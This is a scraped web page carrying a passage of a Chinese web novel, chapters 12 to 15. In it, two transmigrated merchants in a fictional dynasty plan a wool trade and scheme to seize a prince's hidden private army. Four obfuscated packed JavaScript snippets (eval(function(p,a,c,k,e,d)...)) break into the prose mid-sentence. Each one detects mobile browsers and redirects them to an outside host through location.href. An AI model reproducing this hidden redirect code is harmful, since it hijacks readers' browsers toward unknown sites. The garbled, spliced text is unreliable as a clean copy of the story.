;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400981|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也都朽朽老矣了。 “真厉害,我父亲也想我日后做官,但我觉得做官不好,我想当游侠,惩恶扬善。”说着苏家小郎手里还比划两下,可见没少听民间快意恩仇的话本。 “我阿兄说游侠虽然心善,但大部分都是不受规矩的法外之人。” 这也是尚柒嘴上留情了,真往差了说,游侠也算是这个时代的街溜子,惩恶扬善理念是不差,但仅凭一时义气,招致的后果往往都不太好。 “可若是遇恶人做官,游侠不出手岂非是叫恶官欺压百姓。”苏家小郎气鼓鼓的反驳,显然觉得游侠是天下一等一的厉害人物。 “那你做官不就好了,你想当游侠惩恶扬善,肯定是个好官,阿兄说如今官位都是一个箩卜一个坑,你占了一个坑,又是好官,恶官不就少了。” 苏家小郎显然没想过还能这么解,一时间也想不到话反驳,最后不甘不愿的承认这也是个办法,但心底肯定还是想当游侠。 两人絮絮叨叨说了好半晌,才叫尚乌桕寻到机会拿了自己从礼县带来的玩具,在院子里玩了起来。 尚柒本是可以不招待客人的,奈何苏家人头一次登门,也不好把人撂在院子里,只好招了人手过来,在院里的桌子上摆了从甜品屋买回来的糕点,当给小孩当做零嘴。 食盒的蔬果也都取了出来,送去厨房洗了也摆在桌子上,时下的水果味道都算不上好,便是西域过来种子,因为日夜温差不及西域,种在长安也不及西域瓜果甜。 只见两个小的玩一会就过来吃一点,一桌子零嘴以极快的速度被消灭,看的尚柒眼睛直跳,吃这么多糕点正午怕是吃不下饭了。 …… 尚南枝从马车上跳下来,带着守义德顺去路边摊吃一碗羊肉面,还能再塞一张胡饼。 她走访了各个酒楼,大致算了算长安一日要宰几百只羊,尤其是宫里每日消耗便要一百来只,而羊毛都是卖不出去的贱货,只要能寻到关系,低价收购不成问题。 可要一口气收这样多的羊毛,必然要在长安租一个库房放置,再有她虽然不知道阿兄有什么办法能让羊毛做成衣物贩卖,但肯定是要用水的。 长安四渠供给整个长安城用水,其余不临渠的坊市,都是打水井供一条巷子的人用,她们买的新宅是自家打了井的,不必到巷子挑水。 但清洗羊毛用水定然颇多,只靠井水是不够得,库房的位置最好租在临渠的坊市,至于人手,好一些的坊市工钱若给的低了,娘子郎君大抵都是不愿意来上工,只能去一些略贫瘠的坊市招人。 还有,阿兄也没说羊毛做衣物需不需要织机,若要就得早些寻木匠打,毕竟她们做布帛生意,织机需求量不可能小。 偏巧一惯细致的阿兄半点不提织机的事,难不成羊毛不必用织机织成布帛贩卖吗? 继续解答的问题很多,尚南枝一一记下,等她再多走几个坊市调查报告写完,就去找阿兄问个明白。 12. 再会 于长安沸沸嚷嚷几日的行刺储君案终是在大理寺的审查下给出了交代,但整个长安有眼睛的都能看出来户部一系成了替罪羊。 别泓和别洵松隔日上朝请罪,皇帝竟然轻拿轻放,连俸禄都没罚只斥责了几句,至于户部空出来的缺由哪些人顶替,朝廷为了这几个名额可是吵翻了天。 而长安城内,一直被拘在家里的纨绔们总算是能够快活出门,靖恭坊的马球场都闲置了一旬,叫靖恭坊的百姓都颇有些不习惯。 金玉满堂的生意更不必说,纨绔扎堆的过来,来的晚的自然吃不上,有那混不吝的搬出自己父母兄弟要金玉满堂给面子,可长安城里,权贵比比皆是,除开皇家人,大世家间谁也不让谁。 甚至口舌之争还演变成拳脚之争的,叫县衙门也跟着帮忙善后,可是苦了万年县一众官员,位卑言轻,既不敢不处罚也不敢真按大历律把人打了。 撑死了收押进监狱,再派人去各家传信,有愿意来捞的万年县就给上官一个面子,不愿意来捞的,也好吃好喝给人供着,关几天再给人放出去。 长安城的纨绔子弟,或多或少都在县衙牢里吃过牢饭,别说滋味还不差,虽然比不上金玉满堂,但比一般酒楼要强多了。 也正是趁着脱缰的野马闹事,别此云才偷偷的寻着机会出府,原本他是打算解禁后立刻去清闲观。 奈何苏怡然铁了心要尽快给他定一门亲事,就算别家刚刚遭了一劫,也全然没有放过他的意思,道观短时间内别想着能去。 甚至要想不惊动父母出门都得算着时辰,今日苏怡然有手帕交办宴会,请了苏怡然过去去去晦气,不到天黑回不了,才叫别此云寻到机会。 打别府出来的马车并未直接去常乐坊,而是先去了别此云在长安购置的私宅,再改头换面从私宅走暗道去了另外一处宅院,方坐上不起眼的马车离开。 原本跟着琴砚也成了书墨,过程虽然繁琐了些,但别此云能够长时间在长安眼皮子底下发展自己的势力,也多亏了这份谨慎繁琐。 马车上,书墨也尽数汇报了一旬来的消息,储君遇刺都是权贵之间的交锋,对别此云的生意没什么影响。 “尚家二娘近几日在长安各坊走动,询问各酒楼后厨宰羊之事,或是准备做什么生意。” 宰羊?别此云不信尚柒突然要做吃食生意,虽说要做也能做,毕竟长安有钱人多,只要手艺好不怕没有客人,但任何在长安城火爆的生意没有后台,最后都难免落个被人欺压的下场。 现如今在长安客似云来的酒楼商铺,要不就是多年老字号,要不都是背靠权贵。 很快,马车到了尚府的侧门,车夫过去敲门递了帖子,买来的门房已经摸清新主人的脾性,非是仗势欺人的主,待下人并不严厉,但也不是说允许偷奸耍滑。 如此门房自然也不敢为难来客,关了门迅速去小院寻了东家。 尚柒一上午给尚乌桕安排了课业后,就在院里练武,一个多月不曾锻炼,身手都有几分退步了,过了一个时辰,才遣人去厨房叫热水洗澡。 待发稍被太阳晒干,就得了门房递来的帖子,略微整顿了一番仪容,便去外院见人了。 待到宴客厅,尚柒瞧着在门外候着的小哥儿,微微动了动眉心,径直走了进去。 青天白日,宴客厅的门是不该关的,但想到之后他们的谈话不该叫外人听了去,尚柒还是在书墨瞪大的眼睛中关上了门。 “去里屋?”尚柒好些日不见别此云,今日再见并不觉得陌生,态度也极为熟稔,像是会见多年的知心好友。 别此云迟疑了一瞬,还是点头应了,上次客舍的话句句都胆大包天,纵然书墨是他信得过的人,有些话也不能叫他听了去。 “蒙顶甘露还是青城雪芽?”尚柒取过里屋备好的茶叶,桌上是才让人送来的沸水,指望尚柒煮茶是不可能的,泡茶倒是不成问题。 “青城雪芽。”别此云落座,姿势不如外间时端正,一手撑着头,瞧着有几分懒散,“茶叶生意在大历也很有市场,你为什么不做?” “你怎知道我没做?”尚柒将泡好茶叶的茶壶放回桌上。 “你若真做了,不可能没有茶叶送到长安。” “我在西南还做其他生意,也没见有流入长安的。” “或许因为你在西南的其他生意我也在长安做,即便有流入长安也不会引起我的注意。” “有道理,只是如今饮茶方式与我们不同,要想茶叶打入高层社会,配套的烹茶技巧也要跟上,我不会煮茶。” 世家附庸风雅,时下茶汤也玩出了个花,单单只凭茶叶想要打入高端市场,后劲不足。 “但你依旧囤积茶叶。” “何以见得?”尚柒自认为没有哪里露了破绽。 “听闻你妹妹近日在长安各坊询问宰羊之事,起先我并未想到这里,但你问我要哪种茶叶倒是提醒我了,你想做羊毛生意。”茶叶换羊毛,这是和草原通商的一种手段。 尚柒没有因为被猜中心思就恼羞成怒,反而认可的点头:“我的确囤积的有茶叶,只是西北东北局势不明,还未打算要做草原生意。” “东突厥一直对大历虎视眈眈,一旦东突厥动兵,非几年能平息战乱,只怕和草原做不成生意。”别此云认为尚柒也清楚,现在大历的局势,真和东突厥打起来,不是灭国之战也会成为灭国的导火索。 “那就不做,茶叶也能散卖,便宜些寻常百姓也能买一二用来待客,不会砸在手里。”尚柒一向给自己留退路。 “那你小打小闹在长安做羊毛生意,只会给世家做嫁衣,没有靠山,等羊毛织成衣物售卖,世家看到好处不会给你好下场。”羊毛成布,触动了世家核心利益,若是他们再查出来尚柒只是毫无背景的小商人,多的是手段处理尚柒。 “靠山不就在眼前吗?”尚柒淡笑递过一杯茶水。 “……我记得上回我们谈的并不愉快。”至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400982|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少尚柒并未答应他的荒唐要求,只留在长安姑且算给他一个机会。 “我还以为上次别公子愿意多出两成价钱收购我的药材,是同意资助我。”尚柒话落,果然看见别此云微瞪眼睛。 “你答应了?” “原本还在考虑,但近来在长安我寻到一点消息,广运帝是否准备发兵?”他在长安能够打探的消息实在有限,尤其是上层。 “不错,今年我送去东北的酒水,销售额折半,不出意外广运帝是打算攻打东突厥。”室韦近些年安分守己,广运帝至今没有找到由头攻打,东突厥常年和大历边军有摩擦,真打起来有的是理由。 “为什么?广运帝年纪已经不小了,以大历目前的情况想打胜仗不容易。”大历尚武,武将数目不少,可要说真能独当一面的将才帅才却不多。 王朝走下坡路的时候,军队质量也一定下滑,输的局面更大一些。 “有人怂恿,加上广运帝年老昏花,想要死之前达成一个开疆拓土的成就。”这是别此云猜的,不过真相多半八九不离十,不然广运帝好好的享乐皇帝不做,突然发兵东突厥是吃饱了撑的吗? 至于后宫吹的枕边风还是前朝奸臣的谗言,目前没人说的清楚,总归还是和夺嫡有关系。 “那么行刺的目的,不是栽赃嫁祸,而是特意寻个借口在发兵前塞人进户部?” 别此云点头,不然别家这回能被广运帝轻拿轻放吗?所谓行刺归根结底只是个派系拔出异己的手段。 “发兵前进户部,是打算以权谋私截断后勤控制军队,还是打算贪污军饷,以养私兵?” 户部管钱,是六部油水最多的部门,整个户部上上下下都是被其他五部养肥了胃口的,被推出来顶锅的户部侍郎私下里自然也不干净,哪怕是为了不被临死之人狗咬狗,户部的人也会尽快处理掉户部侍郎。 “不清楚。”前来寿宴的皇子不少,他只能排除太子不是受益人,其余几位皇子,外戚之中或多或少都沾有兵权,若非是禁军拳拳掌握在皇帝手中,这些胆大包天的皇子早就兵变了。 情况更严重了,尚柒在舆图上标记了各皇子的封地,若是蓄养私兵只要有脑子的都不会在长安附近进行,不说人手不好招聘,被发现的风险也极大。 “就算各皇子蓄养私兵准备造反,应该也与西南无关,你还尚未说为何改变主意。” “礼县在西南边境,尚家也在西南有几分薄名,若是西南边境的守军有意谋反,尚家必会是头一个被洗劫的。”药材、粮食、钱财都是军队需要的,若是外地军队入西南,或许不清楚尚家的底蕴,但西南守军与尚家常有药材生意往来,真若谋逆,尚家必然早被盯上了。 从一开始,他就跑不了。 “西南边军。”别此云想了想西南边军的归属,并未发现和几位皇子有姻亲关系,他也没收到任何西南边军有谋反的迹象,可尚柒也不像是会无的放矢的人,“西南边军为何会谋反?” 13. 合谋 “西南守军的将军与五皇子的外家有姻亲关系。” 别此云闻言垂目思索了片刻,摇头:“我不曾听闻过。” 尚柒不意外别此云不知道这层干系,几百年的世家之间关系错综复杂,若是不翻族谱,或许都不一定能理清楚自家有哪些姻亲,三代以上的姻亲关系对世家来说并不牢固,西南将军若真的和五皇子外家有姻亲关系,早该被其他几个皇子扒出来提防。 “是私生女。”尚柒不卖关子,“五皇子外家曾经有人在西南做刺史,西南豪强为攀附常献美人,其人在西南留下的非婚生子不少。” 别此云倒不吃惊世家搞私生子一套,长安城里养外室的都不少,出几个私生子太正常了。 “这事不为人所知?”地处西南,瞒过京城耳目的确不难,端看私生女能嫁给西南守军的将军,也都是十好几年前的事,那时候五皇子不过牙牙学语,太子之位都没定下,趁此机会抹除痕迹的确不容易被发现。 “就我所知,除了五皇子外家和西南镇守将军外,无人知晓。” “你的消息来源可靠吗?” “此人在西南留下的非婚生子不少,我的消息便是从中探查到的。”后院的美人多了,总是少不了不受宠的,父亲又离开西南不能带他们回长安,没了主事人狗咬狗总会有几个受气包。 “你既然早知道西南镇守将军和五皇子有勾结,为何还要和西南守军来往。”按照别此云对尚柒的粗略了解,对方绝对能够察觉其中的麻烦。 “因为我也是近来才知道。”尚柒语气里颇有些无奈,“入长安后,我便着人开始打听长安世家的关系,打算整理成图谱,之前我只清楚蔺家私下和西南边军有关系,却不知蔺家是五皇子的外家。” 别此云一顿,也解释的通,别看皇子外家在长安不是什么难打听的消息,在地方上,除开闻名天下的大世家,一些中等世家都是很难露脸的,蔺家近些年低调,五皇子于各位皇子间也不出色,或许不少人眼中五皇子只在皇位上桌的边缘,并不惹人眼。 “叛军要想从西南打到长安,可能没那么容易。”西南地势复杂,不如西北和东北军队入长安一马平川,“五皇子看来还没打算动兵。” “若是东北军队和东突厥打起来,难以回援长安,说不准就是个机会。”尚柒很难不猜测广运帝准备发兵,就是五皇子一派的人献的谗言,不然天时地利怎么都往五皇子身边凑。 “如果西南镇守将军和蔺家有染的消息传入其他皇子,乃至太子耳朵里,这仗打不打的起来还不一定。”时下无论是朝廷还是民间都没传出动兵的声音,如果能够在广运帝昭告天下前散布五皇子的消息,广运帝必然要考虑自家儿子和地方守军联系准备掀翻他位置的情况。 “看来你有打算了。” “你告诉我这些,不就是想借我的手将消息送入各位皇子耳朵里,好避免短时间西南守军造反,打你个措手不及。”别此云不客气的揭穿尚柒的目的。 “话虽如此,但我也非是只占你便宜,互惠互利。” “那给我的利未免太大。”其实别此云若设身处地在尚柒的位置,等消息传入各皇子耳朵里后,五皇子以及西南边军定会自顾不暇,趁此机会立刻转移到深山,才是明哲保身的做法,而且他觉得这是尚柒能干出来的事。 “别小看举手之劳,大人物的一念之差,可以改变很多人的命运。”尤其是在人命如草芥的时代。 “投之以木桃,报之以琼瑶,看来我遇上慈善家了。” “何必如此尖锐,你想要的不过是在可能到来的乱世里有一份自保的力量,我不过是占地利可以给你提供一支私兵,养兵花销的钱财也尽数由你供给,真要说你才是慈善家。”要养私兵,剑南道和岭南道是首选,比起生存环境恶劣的岭南道,剑南道的情况又好上不少。 闻此言,别此云隐约松了口气,虽然他希望尚柒帮他,但又提防尚柒突然态度大变。 “蓄养私兵一旦被发现按论当斩,你愿意担这样的风险却依旧不肯沾染权力,是还打算隐居深山。”尚柒没有野心,别此云也不知这是个好消息还是坏消息。 “行军打仗非嘴上说说,我连纸上谈兵的赵括都比不上,何谈沾染兵权。”要说尚柒看不看好别此云造反,估计持保留意见,毕竟都是一个地方来的,底牌大家伙都清楚,但凡拿出一些超过这个时代的东西,打赢只是时间问题。 “我也没有行兵打仗的经验。” “……”不出意料,现代人有几个能有行兵打仗的经验?即时战略游戏他倒是玩过一点,但游戏能跟现实比吗? “看来我们这个造反组合注定是个草台班子,养私兵的前提还要寻一个会带兵打仗的人才是。”时下人才或许难寻,可千金买骨,只要有钱总能捞一两个有用的。 “你有认识的屠夫吗?”别此云敲敲桌子,显然底层阶级别府公子没有机会接触。 “屠夫出将军,也是个思路。”但屠夫将军大多有勇无谋,小仗胜算高,大仗容易折。 “玩笑结束,钱粮我随时可以提供给你,就算因为五皇子的事广运帝可能暂缓发兵,但只要广运帝有心攻打东突厥,这仗迟早是要打的。 练兵要尽快,且最好是精兵,你打算从何处招人手?” 精兵五千才有资格上桌,短时间内要练五千精兵有困难,但更困难的是从哪里一口气寻五千青壮。 西南地广,人口却稀疏,一个县城少十几人都会引起县令主意,五千人青壮消失,很难不引起警惕。 “为什么要从头招人,你既然确定各皇子私底下都蓄养的有私兵,我们为何不能绑架代替招人。” 别此云神色莫名的看向尚柒:“你打算怎么绑架?” “要知道蓄养私兵多是抢劫的青壮,且为了不被发现,私兵营地定是狡兔三窟,而除了营地几个主事人,其余私兵绝对不会知道他们究竟属于哪方势力。” 即是因为军队令行禁止,也是因为真被抓了,这些兵丁不会吐露出背后的主人,而这也尚柒操作空间。 “那你要怎么混进去?”别此云原本认为这个主意有些荒唐,但听尚柒这样一说也发现了可行性。 “西南有四皇子的封地,想必崇山峻岭里藏了不少四皇子的人手,而我与西南豪强都有几分交情,借他们的人手打探一些无伤大雅的消息,找到四皇子手里的私兵营地,再想办法夺营就是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400983|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私兵无论养在哪个深山老林,都有迹可循,因为大量人口聚集代表需要大量的物资,就算是可以在深山屯田,盐是无论如何要从外界购买的。 都是私兵了,官盐这条路走不通只能从各地豪强手里拿到私盐消息。 “你若真的成了,四皇子大概会气的七窍流血。”数年经营毁于一旦,任谁都可能发疯,不过手中没有兵力的皇子就如失去利爪的猛虎,最多对他兄弟重拳出击,查不到他们头上 “只要你后续钱粮供上,成功的概率很大。”主要的难度在于夺营后防止兵丁营啸,至于如何夺营,其实不算难,至少对尚柒来说不难。 总归做过大夫,也学过一点化学,为求自保试验配置一些炸山的火药,也是情理之中。 “你需要先在西南选一处练兵之地,我可以着人手将物资先一步送过去。”在长安经营这么久,别此云手里的钱财养一支五千人的军队绰绰有余。 “我会尽快办。”尚柒不是做事拖延的人,“那么我在长安的羊毛生意,看来是能做了。” “能,不过在长安销售羊毛织成的衣物,需要通过我手里的铺子,长安城外的生意你可以自己出面。” “其实我比较好奇你是怎么在长安不靠别家的势力做这样多的生意的。”不说别的,单单是风靡长安的青麦酒,就足够引起各个世家觊觎。 “只要你手里能拿住一些人的把柄,再加以利用也能做到。”别此云在长安的生意没有别家的手笔,但要是没有别的世家站台是不可能发展的这么稳。 “威逼利诱的确是生意场上常见的手段,但不是长久之计。” 按照青麦酒的利润,皇帝都不一定能忍得住将青麦酒归为官营,别此云手握青麦酒这么久还没翻车,多半是做了假账。 “那我教你遇上这样贪婪之徒,只管让他们狗咬狗,等他们自顾不暇的时候,就没有功夫惦记你的东西。”这个时代的商战可不是什么浇发财树的和平手段,杀人夺财才是最常见。 好吧,别此云都在长安如鱼得水混了这么久,想必有的是办法预防翻车,他还是多想想怎么把四皇子在西南养的私兵给弄到手。 “正午可要留下用餐?”正事谈完了,尚柒语气也松快不少。 “你要如何向你弟弟妹妹解释我?” “朋友,不过你要是担心他们见到你的脸会泄露你的身份,我也理解。” “下次吧,近些时候出门不大方便,我要早些回去。” “也好,下次你若过来提前说一声,我好去金玉满堂订席面,家里的厨娘还不太会用铁锅。” 别此云闻言喉间发出一阵闷笑:“金玉满堂不是我开的酒楼,不过背后东家与我有生意往来,这个答案你满意吗?” “还以为日后能白吃白喝,看来问错东家了。”尚柒微微摊手,丝毫没有想吃霸王餐的愧疚。 “若是尚东家能见面讨金玉满堂东家的欢心,大抵也能免了你日后的酒菜钱。”别此云说罢放下掀到帽檐的帷纱,准备离开。 尚柒听出了别此云和金玉满堂东家的熟稔,看来为了能够在金玉满堂白吃白喝,他得多讨好别公子才是。 “我送别公子一程。” 14. 西南 别府。 别此云悄无声息的回到梧桐苑,除开侧门的门房和梧桐苑的人,没人知道别此云上午出去过。 “公子,大少爷方才遣人传话,说是让你正午去他院子用饭。”琴砚一回院子,院里留守的侍人便过来说了大少爷的事。 “可说有什么事?”别此云揉了揉眉心,上午和尚柒聊了一场,简直比看一上午账本还累。 “未曾明说,不过听下人打探来的消息,似乎是少夫人意思。” 别此云和张青浣的关系一般,平日若非是母亲嘱咐,嫂子几乎不会同他多说话,突然寻他必然不是什么好事,也多半是他母亲给嫂子差遣的任务。 “告诉阿兄,我待会就去,等回来我要沐浴更衣。”若是早点知道消息别此云还会想法子推脱,这会都要到时辰了说不去恐怕不成。 “时下未过小满,冷水沐浴病了怕是容易伤身体。”琴砚如何听不出公子打算赴完宴回来就生病,还不是普通装病而是要切实的生病。 公子年幼时身体的确不好过一阵,但这些年明里暗里调养得当,早不似过去弱不禁风,若非是有时需要装病做遮掩,也不必常去道观。 “以前或许怕庸医误人,现在不必顾忌,我有分寸。”风寒感冒在这个时代是大事,尤其平民百姓一个不甚死了都算正常。 世家养的大夫和皇宫里的大夫医术纵然比不过他所属的时代,却也是眼下时代的顶尖人才,治疗风寒还是不在话下。 更不必说,他刚结识了一位正儿八经他所处时代的大夫。 单凭尚柒透露给他制药的情况,也能看出尚柒绝非是庸医。 …… “阿兄,日头这样大,你怎么突然打冷颤。”尚乌桕狼吞虎咽的吃完午食,抬头就见阿兄突发恶寒,莫不是生病了。 “许是有人惦记我。”尚柒说罢想起别此云,人才送走不到一个时辰,莫名其妙想他总感觉没有好事。 “那惦记阿兄的人可太多了,礼县未成亲的哥哥姐姐可有不少都找过我和阿姊,想要叫我们牵线搭桥。”阿兄受欢迎再正常不过,甚至听闻还有不少豪强想要把家中庶女嫁给阿兄做正妻,奈何阿兄一个都没看上。 “小小年纪,少掺和这些事。”尚柒无奈,虽然年纪两个辈子加起来当爹都绰绰有余,但成亲尚柒还是不想太早,而且他不确定能不能寻到一位志趣相投的知己。 “我如何不掺和,在长平村阿兄这个年纪都有孩子了,我也想早早做个长辈,逗侄子侄女玩。”显然尚乌桕对自己是家里最小的那个颇为不满。 “长平村十三四岁的姑娘哥儿也能结亲了,难道我就要按规矩寻个看的过去的人家把你和南枝嫁出去?” 听阿兄这样说,尚乌桕悻悻闭嘴,莫说十三四岁,他就是二十三四岁也不见得想成亲,自他记事起,家里主事的已经是阿兄,爹娘走的早他都没有印象。 而村里成亲的人家,为一点鸡毛蒜皮的小事打起来都是正常的,比起嫁人成亲他还是想做个济世救人的大夫。 “吃完了就去休息,下午要出门便寻阿大陪你。”尚柒近来有的忙,没功夫陪尚乌桕。 “嗯嗯。”尚乌桕也不是难缠的小孩,知道今日有客登门,想必阿兄是有事要忙,只是客人登门的时候他还在背书,压根没见着。 后头问了门房,只说来人戴了一顶帷帽,能猜出是个哥儿,其余一概不知,叫尚乌桕想打听又不敢打听,毕竟客人登门阿兄特意避开了他。 所以客人到底是不是未来嫂夫郞啊? “地址选好了,在宣义坊,清明渠途径宣义坊,用水问题不必担心,我也去宣义坊看过,坊内并未住多少权贵,多是百姓,用人方面也不必担心。”尚南枝经过几日努力总算是将情况摸清楚,只要阿兄一声令下,她就能有条不紊的开始向各酒楼屠户收购羊毛。 “库房可以租下,再请几个木匠把要用的东西打好。”尚柒接了别此云的一桩麻烦事,接下来重心要盯着西南,甚至可能还要跑回西南一趟,羊毛生意只能叫南枝多上心。 不过南枝在礼县跟他耳融目染学了这么久,也的确可以放手叫人历练历练,便是没做好也没关系,左右他在长安已经寻到了人脉,按照别此云财大气粗的手笔,一点烂摊子想必也不难收拾。 更不说他在长安做羊毛生意需要过别此云的手,四舍五入这生意也算是别此云的。 “是打织机吗?” 尚柒摇头:“传统的织机是为了织线成布,羊毛即使经过洗涤也很粗糙,只能捻线勾衣,不必用到织机。” “捻线,看来是要用纺车。”至于阿兄说的勾衣,用线勾衣服可靠吗? “等我明日把东西整理好,你自己先看着琢磨,有不懂的回来问我就是。” “嗯。”尚南枝还是头一次负责这样大的事,也想凭借自己的本事搞定,阿兄在她这年纪可是已经把生意往整个西南扩大了。 送走南枝,尚柒开始研墨,要在西南寻一处隐蔽地养兵不难,西南的土匪数量不少,西南军队一向不管,他可以将私兵营地伪造成土匪山寨,但要打听四皇子名下的私兵就得费一点功夫。 ———————————— 西南,礼县,长平村。 位于边境的城镇一般来说都称不上繁华,而十多年的礼县也如西南其他边境小县一样,落魄的没什么人往来,县里撑死了一两千人,当县令都很难从中榨出油水。 十数年过去,如今的礼县可以说焕然一新,当然破旧的城墙依旧每日被风化,半点没有要修缮的意思,但城内百姓居住的环境已经不可同日而语。 这是多亏了礼县出了个既会治病又会做生意的尚东家,如今县里居住的百姓或多或少都跟着尚家在干活,即便不在尚家名下,做的差事也跟尚家有千丝万缕的关系。 要说礼县最繁华的地方,反而不是礼县内,而是尚家居住的长平村。 尚柒的药材生意需要田地,皂类生意需要养殖动物,棉布生意需要大量织机,比起狭小的礼县,长平村的位置更好。 西南境内一些做跑商生意的人家,常年到长平村进尚家的新货倾销到西南各地。 有的也想贩卖去江南和长安,但尚家给各家的货数量都有限,一般出不了西南就能回家。 大部分商户能在西南赚到钱,基本也不想跑出西南地界,毕竟走的远了,除开人生地不熟,路上是真的能遇上土匪的。 前些年还好说,各地驻军有事无事还会出来剿剿匪,当时给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400984|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营里增收,近些年各地驻军连大营门都不出一步,叫沿道的绿林土匪冒出一茬又一茬。 出了几次大型商队被抢杀的血案后,西南这边出去做生意的商人就更少了。 亏得近些年没有太大的天灾,不然就凭这些绿林势力都能集结成一股造反的有生力军,给大历造成点内部动荡。 尚府内,尚柒带着弟弟妹妹去了长安,整个尚家主事的就是蔺肃,算是尚柒捡来的人才。 当然主意也不是蔺肃一个人做,每个产业都有负责的人,顶多最后汇总给蔺肃看看。 “蔺肃,尚柒走的时候有没有说到底要在长安待多久?”宋月隐一直没有收到长安的回信,心底有些焦急。 “少则一两月,多则年后。” “长安究竟有什么生意急着要做,竟然要滞留这么久,西南的生意他就全扔给我们,当甩手掌柜。”宋月隐话说的咬牙切齿,若是尚柒此刻在她跟前,指不定要被按头盘账。 “他早就想当甩手掌柜了,不然这几年费心费力培养我们干什么?”蔺肃和尚柒共事也有几年,早摸清楚了尚柒那颗咸鱼心,若非是手里的生意很容易被盯上必须尽快发展成一股不弱的势力,他们尚东家早就在家赋闲了。 “哼,他也不怕我们趁他离开,一口气瓜分了他的产业。” “凭他的脑子,就算我们瓜分了他的产业,东山再起只是时间问题,而我们考虑的就多了,到时候他东山再起,必定头一个回来打我们。”蔺肃很有自知之明,尚柒能够从一个农户出身的小子坐到今天这个地位,靠的是自己的本事。 他只是懒骨头,又不是真菜。 “可恶,我早晚要辞了管事的位置出去自己做生意。”宋月隐算是尚柒离开的头后受害人,原本尚柒大部分工作全落在她头上,就算有蔺肃帮忙,每日依旧加班加点到深夜。 “应该很难。”不是蔺肃打击宋月隐,而是整个大历,除开尚柒能毫无顾忌的任人唯能,其余地方都不见姑娘哥儿抛头露面的。 开个铺子的小买卖还能做,大生意只怕没人愿意。 “尚柒什么时候能够做主整个西南。”宋月隐绝望的哀嚎,如果西南做主的是她东家,即便她不为尚柒办事,也多的是机会自己出头。 “据我所知,尚柒应该没想过要造反。”蔺肃可是清楚尚柒一向秉承能不惹麻烦就不惹麻烦的原则,掌控整个西南和反了大历没什么区别,尚柒什么时候自找过麻烦。 宋月隐不说话了,她倒是希望尚柒有这份心,皇帝真让尚柒做,她的日子不知道会有多舒服。 “蔺管事,宋管事,东家的商队回来了。”外院的管事步履匆匆的前来通报。 “什么,尚柒回来了?”宋月隐一个弹射站起,就要把桌面上的账册抱出去给尚柒当见面礼。 “东家没回来,只是遣了商队回来,说是要再准备一批新药送到长安售卖。” “尚柒当真打算在长安拓展生意不成?”宋月隐惊呼,她给尚柒办差这么久,怎么半点没听到尚柒有这个打算。 “看了药材在长安卖的很好。”蔺肃盘算尚柒当真要把产业拓展到长安,日后他们是不是也得去长安做事。 “算了,猜来猜去不如亲自去问问商队。” 15. 看病 去长安的商队成员大部分都回来了,比起拉着货物慢悠悠的花一个月抵达长安,回程速度快了许多。 加上东家没跟着,不少人也想快着回家,每日赶路都多走一个时辰,再来也不必日日落脚在城镇,不消两旬功夫就到了礼县。 这趟去长安的商队都是老手,没有毛头小子,一个个也都成了亲有了孩子,回到礼县除开做主的管事,其余人都拎着从长安买来的新鲜货回去看家人。 往常他们在西南跑惯了,什么好玩意都见识的差不多,带回家的东西也越发没新意,今个儿去了长安长见识,要不是长安的东西太贵,指不定人手大包小包。 “还是长安有钱人多,一些普通药材都能卖出几倍价。”人工种植的药材在药性方面比不过野生的,但人工种植药材量大管饱,若非是他们手里能用来种药材的地有限,如今西南药材的价格早被他们尚家打下来了。 当然了,现在也差不了多少,大部分有名有姓的医馆都靠尚家每季度送药财过去。 “主要还是西瓜霜赚钱,连带着把药材买了出去,长安那边官府也有专程种植药材的种植园,长安的大夫都是从那处进药。”赵管事落座后,瞧着蔺肃和宋月隐翻账本,时不时回答一些他们的问题。 “正是夏日,西瓜霜的确有用武之地,但咱们家的药丸也不少,不说神仙丸,就是单纯的白药在长安也能卖出好价,怎么东家没有说让咱们送其他药丸过去。”既然生意吃得开,宋月隐头一个想到的就是扩大市场。 